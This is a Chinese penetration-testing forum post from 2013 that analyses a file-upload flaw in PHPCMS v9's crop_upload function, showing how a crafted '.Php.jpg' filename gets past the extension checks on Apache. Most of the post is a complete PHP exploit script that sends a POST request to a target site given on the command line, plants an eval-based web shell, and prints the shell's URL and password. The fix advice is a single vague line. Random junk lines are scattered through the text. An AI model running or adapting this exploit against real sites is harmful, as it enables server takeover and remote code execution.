中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
2 v- P, @1 f& Y5 G n2 X2 ?0 C
5 i- _" [0 N) ]( X0 v9 U) {$ d- }
简要描述:
( u9 X$ R2 ^0 ~6 z
6 A, ^! p7 m4 K% ?- {
phpcms v9 getshell (apache)
) F# P; o% p& q
详细说明:
% z7 i$ G/ R, Y1 O3 L
$ j$ W8 M. k' y5 q1 Q0 W3 Y+ J
漏洞文件:phpcms\modules\attachment\attachments.php
1 G2 _5 Z7 X0 H* O4 h$ I6 L% `. {" K
+ E& M& ]+ h; M! f" m! K/ ^
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
4 L9 n S5 K$ O8 }
后缀检测:phpcms\modules\attachment\functions\global.func.php
$ U8 N# M5 w0 ~* g, C7 O' z( J
: b- f3 p/ h& O' F* a6 I
# M4 k4 }7 n4 F. ], Y
3 b: k# L% b. v* l; x& o* L
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
- w6 B+ {; Q4 `/ v
: T" t" m3 o" Y4 S& _, D& C& Z
关键函数:
4 H8 j8 E5 f7 ], ^! k% ]0 v) I+ ^) x
+ m9 w8 l, n6 o1 m0 u/ t2 E) q
9 I, S( e3 b2 [' J" C4 P6 i
1 D" D+ G2 K; q3 r) T9 c8 p+ S' S
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
" x0 W0 ?0 x5 x$ u, l: |7 [1 v l
5 ]$ W0 N( Z4 x# k% n* U
Fileext函数是对文件后缀名的提取。
( @! Y4 a4 z0 B* Y
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" R- s0 P* e1 ]5 |1 @
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
0 c1 X7 q% P; t& v/ F
我们回到public function crop_upload() 函数中
6 R5 X. \# s" q* \. {2 x0 `
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
" k5 v3 X V* f4 `( x- ?
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
( { l6 S- [( w9 m, K/ ]
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
, p5 y, C! R# H
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
; D2 H0 s9 D' q
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
% v& N4 Z9 _: T, o+ Z
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# H7 s8 L8 s* _0 U: J6 A
漏洞证明:
6 q$ \- a: Z6 Z" U6 V; |, ~
0 h, K1 P. H: H3 G9 }" ]' `9 P E8 {
exp:
D- R7 h" O% ~3 @$ i
2 V) A- v5 c8 g2 e5 o
<?php
( M& v0 e: g; W l+ X+ R( h
error_reporting(E_ERROR);
1 }. `' x4 h) s& y% R" L
set_time_limit(0);
! M& m% E+ G% f
$pass="ln";
% \1 N/ q k& T9 s4 @
print_r('
: J& |2 E% p0 b5 m
+---------------------------------------------------------------------------+
j4 d3 }8 b" h0 Z0 I
PHPCms V9 GETSHELL 0DAY
- i4 l5 e7 w9 O
code by L.N.
6 d2 }4 l* R+ a
4 t) F z G+ S8 Z( u8 g" l' e
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
' W0 b- ]- n" [ P0 r0 A
+---------------------------------------------------------------------------+
& u {. h k' Q/ e: u: K( C+ b
');
! Z5 a3 @. C# v0 M P
if ($argc < 2) {
8 H2 T6 w" I1 A; }
print_r('
9 C! O2 b! P2 W% W8 }
+---------------------------------------------------------------------------+
6 ~; L X) D, `% a+ ]" r
Usage: php '.$argv[0].' url path
5 x4 Y) T) `1 j
5 `9 i4 A5 \1 F3 f, C9 ~
Example:
, V E H) L; g" v% V. C
1.php '.$argv[0].' lanu.sinaapp.com
+ v- R; w: D/ P/ u
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
) R) N* B5 K: [% [" O
+---------------------------------------------------------------------------+
6 Z$ B' B5 Z( R- C" p
');
. w8 e0 b8 [/ ?) z9 j
exit;
' y# Y( ?' J' t! ?: b
}
( R. y+ {0 U. \
3 ?9 h5 l$ e& x, `" U9 i+ M/ B/ o* s
$url = $argv[1];
) I0 p1 B8 C! m
$path = $argv[2];
" A4 W1 \3 s7 ?' `0 q G
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
7 D& u, {/ z8 W
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
) s0 _0 @' R! ~ V
if($ret=Create_dir($url,$path))
j0 p9 x: U4 U/ Y4 C
{
+ a) m2 U, {% J4 g. W* N8 _
//echo $ret;
7 }; o1 \6 ^- i* O r$ Y
$pattern = "|Server:[^,]+?|U";
; g; K! O* {0 J, Z8 c
preg_match_all($pattern, $ret, $matches);
! H; ~' Z V; t
if($matches[0][0])
/ f e7 v" ` M' t0 |: r
{
+ n1 k( e k7 w+ B- @7 I W; o
if(strpos($matches[0][0],'Apache') == false)
7 K" ~2 F5 \& S% w* t6 f1 C
{
6 k) ~) F* Q+ L2 A
echo "\n亲!此网站不是apache的网站。\n";exit;
: s0 [5 U% C4 U! a& `
}
$ ~7 r0 e9 g# ~* }9 W4 k- w
}
& \' J6 O+ L! \* H6 ^" L$ J3 k; ^
$ret = GetShell($url,$phpshell,$path,$file);
& b* L# X: w1 g. [$ |6 p- s+ e
$pattern = "|http:\/\/[^,]+?\.,?|U";
5 U+ }* o$ Y+ |6 F6 _: f0 @, y$ w
preg_match_all($pattern, $ret, $matches);
$ w& ]+ K: \. G5 P, g5 ^" \6 d
if($matches[0][0])
# |2 f6 j9 G8 s+ c3 k8 I- e0 c4 ]
{
% m! ~, V: [( D; Y0 {+ ~1 o
echo "\n".'密码为: '.$pass."\n";
8 R- X. M, ~! u0 e6 |. d, e) X
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& z0 Q; O% v& |& e [8 Y
}
: c. F$ [3 U8 s' ?
else
3 U% w* N5 H* L8 l3 {6 o
{
7 R4 i+ c$ Z0 E' R3 ^1 e
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
/ q, j, e: |" s4 s! {
preg_match_all($pattern, $ret, $matches);
7 O5 H: k$ G% r' }& x. C9 \, f
if($matches[0][0])
3 |, T7 U/ }$ {' {
{
/ j, T1 c$ |$ s W2 a
echo "\n".'密码为: '.$pass."\n";
$ L3 q: v1 Z( t
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ X/ x6 T6 d* p: G5 |; h' x
}
3 _! d8 ^* r+ ?1 F, X a1 ?
else
% p( F; B: F/ N9 m
{
, u7 ^9 o- m- i, M1 ~5 v
echo "\r\n没得到!\n";exit;
. }8 g3 v4 X* \, Z4 B7 S
}
( {2 G% o/ _( u2 | u. [
}
9 r3 a, F1 U) y4 K5 j
}
; v+ {9 L& @* L/ q; e: C
+ S t/ P' F$ h% e! ]
function GetShell($url,$shell,$path,$js)
/ k' n: M# L/ v' J. T+ P0 I
{
5 {6 S" x# z& G# \0 U0 W; D
$content =$shell;
+ D1 h0 j {" q/ o$ t+ i' c
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
8 r- {! U) `- Z1 e8 C7 p* ^
$data .= "Host: ".$url."\r\n";
3 @2 L" ?8 i5 _& b. F
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 a: S! ~4 h- [$ S1 X! X7 Z- f* y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 S6 K' X& h" } g I
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 R" S3 u* V5 q2 s" Y3 V5 I; s" v
$data .= "Connection: close\r\n";
4 O; e7 q4 B. S
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
Z4 c9 H2 h5 [; S
$data .= $content."\r\n";
0 C. A* w1 V) l6 A9 k" T
$ock=fsockopen($url,80);
8 T" t D: o1 d5 D5 }$ t; w
if (!$ock)
4 M& j$ W! S: @8 I
{
; t/ }: F" G2 S9 ^6 z3 X4 V
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 z& F5 g4 U, c% O# I
}
) W9 Y, k# X' C' A5 y6 U- D V0 C
else
' ~4 ?5 _ h9 g5 `4 N
{
& D5 ~* K. X/ w! l+ u I6 O
fwrite($ock,$data);
7 @! T' \) \/ n2 q6 u D& M
$resp = '';
% K3 L" @4 a% u: J* G
while (!feof($ock))
; p$ K9 @2 @& Z+ F
{
; q! ?' R$ O( @$ \
$resp.=fread($ock, 1024);
; x2 q, @! A: t6 I* F% E- q
}
9 ?! m6 P9 U3 a3 u) A" x0 G
return $resp;
/ O3 Y/ L) n0 I1 V$ D. n$ P
}
3 A s. {0 z( |/ u9 V6 @$ k
}
% k; j* o" P8 b. R1 K( z
" p R* h3 E& m5 `
function Create_dir($url,$path='')
0 }1 V; G9 t7 U# V4 l5 M
{
; ~; {5 |3 U' k/ b& K3 H1 A
$content ='I love you';
- b ^# G5 z7 o4 v N
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
]4 |! x& F' [# _
$data .= "Host: ".$url."\r\n";
5 i n: `" f0 C0 q' B
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 Q. |$ A) e! d2 D
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: N4 [4 J( V: r* B( K( s
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
- _* T& {- \' \1 h- I
$data .= "Connection: close\r\n";
* ^! }: R3 m2 @; R* ~( }) w t
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
/ g' K; M, p) l# ?6 v
$data .= $content."\r\n";
2 l" I3 J" S! k5 h7 f( C
$ock=fsockopen($url,80);
% I) U" u" Y% W9 q6 }5 A2 d
if (!$ock)
w1 g0 ?/ Y- [% Z) Z
{
1 b$ E% V% h5 N: q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, F" }7 Y. u. _5 X' s0 s
}
" P) N6 b' e J$ X$ m
fwrite($ock,$data);
, j1 |5 i6 e3 g- C7 g a3 |' B9 I0 j
$resp = '';
1 i& E( n, P0 U+ k' V4 \" C
while (!feof($ock))
7 Q& ~/ k% a6 X2 s4 z. ^
{
, ]8 p% g& G* E2 H' X9 v) n y
$resp.=fread($ock, 1024);
; J9 C+ m8 @% [, N
}
4 J. `8 f& R8 E4 }
return $resp;
, o3 e6 _$ |/ Y- k( Y
}
2 T! h3 r( j& @! \( S) O
?>
0 u7 y* b2 d! f8 J1 I( h0 O
% k6 W8 O2 t( f. j2 n, k* R- L
修复方案:
" M0 V/ N! q+ D( U/ ~
- G0 O: [0 c5 j8 S
过滤过滤再过滤
/ w R2 B4 T4 L1 O$ J* S4 b% }
# S* S) j+ O# N) c7 `9 ~( B
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2